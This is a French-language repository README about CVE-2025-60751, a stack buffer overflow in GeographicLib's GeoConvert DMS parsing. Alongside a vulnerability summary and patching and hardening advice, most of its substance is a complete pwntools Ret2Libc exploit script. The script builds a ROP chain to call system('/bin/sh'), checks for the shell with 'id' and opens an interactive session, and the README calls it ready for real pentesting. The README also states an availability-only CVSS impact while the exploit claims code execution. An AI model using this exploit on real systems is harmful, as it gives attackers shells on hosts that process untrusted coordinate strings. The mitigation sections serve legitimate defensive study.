
Analyse technique et exploit professionnel pour CVE-2025-60751, un débordement de tampon basé sur la pile dans GeographicLib. Inclut un exploit Ret2Libc basé sur pwntools avec découverte dynamique de gadgets ROP, intégration GDB et vérification post-exploitation pour les tests de pénétration éducatifs.
📌 Ce dépôt contient l'analyse et la documentation technique de la vulnérabilité CVE-2025-60751, un défaut de débordement de tampon basé sur la pile (Stack-based Buffer Overflow) situé dans la bibliothèque C++ GeographicLib.
La vulnérabilité se trouve dans la fonction DMS::InternalDecode au sein du composant GeoConvert.
Le défaut survient lorsque la bibliothèque tente de traiter des chaînes de coordonnées au format DMS (Degrés, Minutes, Secondes) malformées ou excessivement longues, ce qui provoque une écriture hors des limites du tampon alloué sur la pile.
CVE-2025-60751GeoConvert / DMS::InternalDecodeStack-based Buffer Overflow (CWE-121)7.5 HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:HUn attaquant distant peut envoyer une chaîne de coordonnées spécialement conçue pour :
GeographicLib pour convertir des coordonnées.⚠️ Note technique : Bien que le vecteur actuel se concentre sur la Disponibilité (
A:H), dans des environnements spécifiques sans protections mémoire modernes (comme les Stack Canaries, le NX bit ou ASLR actif), ce défaut pourrait potentiellement évoluer vers une exécution arbitraire de code.
| Produit | Version vulnérable | Distributions détectées |
|---|---|---|
GeographicLib | 2.5 | Paquets dans Debian LTS, Ubuntu, et d'autres dépôts Linux intégrant cette version |
✅ Mise à jour : Il est fortement recommandé de mettre à jour vers la dernière version disponible de GeographicLib, où la validation de la longueur dans InternalDecode a été corrigée.
✅ Validation des entrées : Si la mise à jour n'est pas possible, implémentez une couche de nettoyage limitant la longueur des chaînes envoyées à DMS::Decode (ex. max. 32 caractères).
✅ Compilation sécurisée : Assurez-vous de compiler la bibliothèque avec des flags de protection de la pile :
-fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
zer0mattCet exploit utilise pwntools pour réaliser une attaque Ret2Libc en exploitant le débordement de tampon.
Contrairement aux versions basiques, cette implémentation est robuste, dynamique et vérifiable, prête pour des environnements réels de pentesting et de laboratoires.
exploit.py)#!/usr/bin/env python3
from pwn import *
# --- INFO ---
# CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
# Autor: Refactored for Robustness
# --- --- ---
context.binary = elf = ELF("./GeoConvert")
context.log_level = 'info'
def exploit():
# 1. Gestión de procesos (Local vs Remoto)
if args.GDB:
io = gdb.debug([elf.path], gdbscript="""
b *main
continue
""")
else:
# ASAN puede interferir con los offsets si no se gestiona bien
io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
# 2. Localización Dinámica de Gadgets
rop = ROP(elf)
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]
log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
# 3. Fuga de Memoria (Leak) para Bypass de ASLR
# En entornos reales: usar leak + libc-database o libc.rip.
# Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
LIBC_BASE = 0x7ffff7a00000 # Ejemplo — ¡debe ser dinámico en producción!
SYSTEM = LIBC_BASE + 0x5d110
BINSH = LIBC_BASE + 0x1b1ea4
EXIT = LIBC_BASE + 0x4c340
# 4. Construcción del Payload (Estructura Limpia & Aligned)
offset = 136
chain = [
b"A" * offset,
p64(RET), # Stack Alignment (Crucial para Ubuntu/Debian modernos)
p64(POP_RDI),
p64(BINSH),
p64(SYSTEM),
p64(EXIT)
]
payload = b"".join(chain)
# 5. Ejecución y Verificación
log.info("Sending payload and spawning shell...")
io.sendline(payload)
io.clean()
io.sendline(b"id")
res = io.recvline(timeout=2)
if b"uid=" in res:
log.success("Pwned! enjoy your shell.")
io.interactive()
else:
log.error("Exploit failed or no output received.")
io.close()
if __name__ == "__main__":
exploit()
⚠️ Avertissement de responsabilité
Ce dépôt a des fins purement informatives et éducatives pour les professionnels de la cybersécurité.
L'utilisation de ces informations à des fins illicites relève de la seule responsabilité de l'utilisateur.
❗ Utilisez le code avec précaution : uniquement dans des environnements autorisés, isolés et avec une autorisation explicite.
🔐 La sécurité n'est pas une fonctionnalité — c'est une discipline.
📬 Rapport de découvertes : [email protected]
📦 Dépôt officiel : https://github.com/geographiclib/geographiclib
| Caractéristique | Bénéfice |
|---|
ROP(elf) dynamique | Ne dépend pas de gadgets codés en dur : les trouve automatiquement dans le binaire. |
Support intégré pour GDB | Exécute python exploit.py GDB → ouvre une session de débogage automatique. |
| Vérification post-exploit | Envoie id et confirme le shell avant de donner le contrôle interactif. |
RET pour alignement de pile | Évite les crashes dans system() dus à un mauvais alignement (critique en x64). |
Payload structuré comme list + b"".join() | Propre, lisible, facile à modifier et étendre. |